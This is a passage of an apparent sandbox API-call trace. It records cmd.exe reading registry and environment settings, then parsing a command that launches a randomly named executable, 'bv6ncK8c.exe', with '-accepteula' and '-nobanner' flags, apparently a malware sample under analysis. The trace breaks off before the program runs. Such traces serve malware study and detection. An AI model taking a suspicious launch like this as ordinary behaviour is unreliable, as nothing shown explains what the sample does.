[0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 689 os_tid = 0xc64 [0078.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fb8c | out: lpSystemTimeAsFileTime=0x16fb8c*(dwLowDateTime=0xd2e81ea0, dwHighDateTime=0x1d5d06a)) [0078.438] GetCurrentProcessId () returned 0xc60 [0078.438] GetCurrentThreadId () returned 0xc64 [0078.438] GetTickCount () returned 0x115bbf0 [0078.438] QueryPerformanceCounter (in: lpPerformanceCount=0x16fb84 | out: lpPerformanceCount=0x16fb84*=22039048939) returned 1 [0078.439] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0078.439] __set_app_type (_Type=0x1) [0078.439] __p__fmode () returned 0x76be31f4 [0078.439] __p__commode () returned 0x76be31fc [0078.439] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0078.439] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0078.439] GetCurrentThreadId () returned 0xc64 [0078.440] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xc64) returned 0x60 [0078.440] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0078.440] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0078.440] SetThreadUILanguage (LangId=0x0) returned 0x409 [0078.440] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.440] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16fb1c | out: phkResult=0x16fb1c*=0x0) returned 0x2 [0078.440] VirtualQuery (in: lpAddress=0x16fb53, lpBuffer=0x16faec, dwLength=0x1c | out: lpBuffer=0x16faec*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0078.440] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16faec, dwLength=0x1c | out: lpBuffer=0x16faec*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0078.440] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16faec, dwLength=0x1c | out: lpBuffer=0x16faec*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0078.440] VirtualQuery (in: lpAddress=0x73000, lpBuffer=0x16faec, dwLength=0x1c | out: lpBuffer=0x16faec*(BaseAddress=0x73000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0078.441] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16faec, dwLength=0x1c | out: lpBuffer=0x16faec*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0078.441] GetConsoleOutputCP () returned 0x1b5 [0078.441] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0078.441] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0078.441] _get_osfhandle (_FileHandle=1) returned 0x80 [0078.441] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0078.441] _get_osfhandle (_FileHandle=1) returned 0x80 [0078.441] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0078.441] _get_osfhandle (_FileHandle=0) returned 0x3 [0078.441] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0078.442] GetEnvironmentStringsW () returned 0x5c21c8* [0078.442] GetProcessHeap () returned 0x5b0000 [0078.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb7a) returned 0x5c2d50 [0078.442] FreeEnvironmentStringsW (penv=0x5c21c8) returned 1 [0078.442] GetProcessHeap () returned 0x5b0000 [0078.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4) returned 0x5c18a8 [0078.442] GetEnvironmentStringsW () returned 0x5c21c8* [0078.442] GetProcessHeap () returned 0x5b0000 [0078.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb7a) returned 0x5c38d8 [0078.443] FreeEnvironmentStringsW (penv=0x5c21c8) returned 1 [0078.443] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16ea8c | out: phkResult=0x16ea8c*=0x68) returned 0x0 [0078.443] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x0, lpData=0x16ea98*=0x0, lpcbData=0x16ea90*=0x1000) returned 0x2 [0078.443] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x4, lpData=0x16ea98*=0x1, lpcbData=0x16ea90*=0x4) returned 0x0 [0078.443] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x0, lpData=0x16ea98*=0x1, lpcbData=0x16ea90*=0x1000) returned 0x2 [0078.443] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x4, lpData=0x16ea98*=0x0, lpcbData=0x16ea90*=0x4) returned 0x0 [0078.443] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x4, lpData=0x16ea98*=0x40, lpcbData=0x16ea90*=0x4) returned 0x0 [0078.443] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x4, lpData=0x16ea98*=0x40, lpcbData=0x16ea90*=0x4) returned 0x0 [0078.443] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x0, lpData=0x16ea98*=0x40, lpcbData=0x16ea90*=0x1000) returned 0x2 [0078.443] RegCloseKey (hKey=0x68) returned 0x0 [0078.443] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16ea8c | out: phkResult=0x16ea8c*=0x68) returned 0x0 [0078.443] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x0, lpData=0x16ea98*=0x40, lpcbData=0x16ea90*=0x1000) returned 0x2 [0078.443] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x4, lpData=0x16ea98*=0x1, lpcbData=0x16ea90*=0x4) returned 0x0 [0078.443] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x0, lpData=0x16ea98*=0x1, lpcbData=0x16ea90*=0x1000) returned 0x2 [0078.443] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x4, lpData=0x16ea98*=0x0, lpcbData=0x16ea90*=0x4) returned 0x0 [0078.444] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x4, lpData=0x16ea98*=0x9, lpcbData=0x16ea90*=0x4) returned 0x0 [0078.444] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x4, lpData=0x16ea98*=0x9, lpcbData=0x16ea90*=0x4) returned 0x0 [0078.444] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16ea94, lpData=0x16ea98, lpcbData=0x16ea90*=0x1000 | out: lpType=0x16ea94*=0x0, lpData=0x16ea98*=0x9, lpcbData=0x16ea90*=0x1000) returned 0x2 [0078.444] RegCloseKey (hKey=0x68) returned 0x0 [0078.444] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710e2 [0078.444] srand (_Seed=0x5e2710e2) [0078.444] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"blank.jtp\" -nobanner" [0078.444] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"blank.jtp\" -nobanner" [0078.444] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.444] GetProcessHeap () returned 0x5b0000 [0078.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x210) returned 0x5c21c8 [0078.444] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5c21d0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0078.445] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.445] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.445] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.445] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0078.445] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0078.445] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0078.445] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0078.445] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0078.445] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0078.445] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0078.445] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0078.445] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0078.445] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0078.445] GetProcessHeap () returned 0x5b0000 [0078.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x54) returned 0x5c23e0 [0078.445] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16f858 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x16f858, lpFilePart=0x16f854 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f854*="Desktop") returned 0x25 [0078.445] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0078.445] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16f5d4 | out: lpFindFileData=0x16f5d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5c2048 [0078.445] FindClose (in: hFindFile=0x5c2048 | out: hFindFile=0x5c2048) returned 1 [0078.446] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16f5d4 | out: lpFindFileData=0x16f5d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5c2048 [0078.446] FindClose (in: hFindFile=0x5c2048 | out: hFindFile=0x5c2048) returned 1 [0078.446] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0078.446] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16f5d4 | out: lpFindFileData=0x16f5d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5c2048 [0078.446] FindClose (in: hFindFile=0x5c2048 | out: hFindFile=0x5c2048) returned 1 [0078.446] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0078.446] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0078.446] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0078.446] GetProcessHeap () returned 0x5b0000 [0078.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2d50 | out: hHeap=0x5b0000) returned 1 [0078.446] GetEnvironmentStringsW () returned 0x5c4460* [0078.446] GetProcessHeap () returned 0x5b0000 [0078.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb7a) returned 0x5c2c40 [0078.446] FreeEnvironmentStringsW (penv=0x5c4460) returned 1 [0078.446] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.446] GetProcessHeap () returned 0x5b0000 [0078.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c23e0 | out: hHeap=0x5b0000) returned 1 [0078.446] GetProcessHeap () returned 0x5b0000 [0078.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x400e) returned 0x5c4460 [0078.447] GetProcessHeap () returned 0x5b0000 [0078.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x6a) returned 0x5c37c8 [0078.447] GetProcessHeap () returned 0x5b0000 [0078.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4460 | out: hHeap=0x5b0000) returned 1 [0078.447] GetConsoleOutputCP () returned 0x1b5 [0078.447] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0078.447] GetUserDefaultLCID () returned 0x409 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16f998, cchData=128 | out: lpLCData="0") returned 2 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16f998, cchData=128 | out: lpLCData="0") returned 2 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16f998, cchData=128 | out: lpLCData="1") returned 2 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0078.448] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0078.448] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0078.450] GetProcessHeap () returned 0x5b0000 [0078.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20c) returned 0x5c4460 [0078.450] GetConsoleTitleW (in: lpConsoleTitle=0x5c4460, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0078.450] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0078.450] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0078.450] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0078.450] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0078.451] GetProcessHeap () returned 0x5b0000 [0078.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x400a) returned 0x5c4678 [0078.451] GetProcessHeap () returned 0x5b0000 [0078.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4678 | out: hHeap=0x5b0000) returned 1 [0078.452] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0078.452] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0078.452] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0078.452] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0078.452] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0078.452] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0078.452] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0078.452] GetProcessHeap () returned 0x5b0000 [0078.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x58) returned 0x5c23e0 [0078.452] GetProcessHeap () returned 0x5b0000 [0078.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x22) returned 0x5c3840 [0078.453] GetProcessHeap () returned 0x5b0000 [0078.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4e) returned 0x5c3870 [0078.453] GetConsoleTitleW (in: lpConsoleTitle=0x16f690, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0078.454] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0078.454] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0078.455] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") 